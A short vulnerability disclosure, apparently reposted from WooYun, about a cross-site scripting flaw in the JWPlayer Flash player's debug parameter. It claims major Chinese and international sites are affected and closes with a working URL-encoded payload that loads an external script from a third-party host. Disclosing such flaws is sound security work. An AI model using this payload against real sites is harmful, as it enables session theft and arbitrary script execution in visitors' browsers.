在乌云看到的。目前发现各大网站都存在,百度、猫扑、英特尔、腾讯……

A Xss vulnerability in JWPlayer

Test Browser: IE , Firefox.

Test Platform: Win 7.

1. The Bug code in

package com.longtailvideo.jwplayer.utils
class Logger
private static function send(_arg1:String):void

if (ExternalInterface.available){
ExternalInterface.call(_config.debug, text);<—directly use _config.debug
};

2. The _config.debug is directly used as the first parameter of ExternalInterface.call. And the _config is loaded from loaderInfo.parameters. Therefore, when we construct a link such as ” jwplayer.swf?debug=(function(){alert(‘xxx’)})() “, the passed-in javascript code will be run.

3. Then we can use the trick location.href=’javascript:”<script src={js file url}></script>”‘ to load and run external javascript file.

Test encoded evil code:

http://player.longtailvideo.com/player.swf?debug=(function()%7Blocation.href%3D'javascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fappmaker.sinaapp.com%5C%2Ftest5.js%5C'%3E%3C%2Fscript%3E%22'%7D)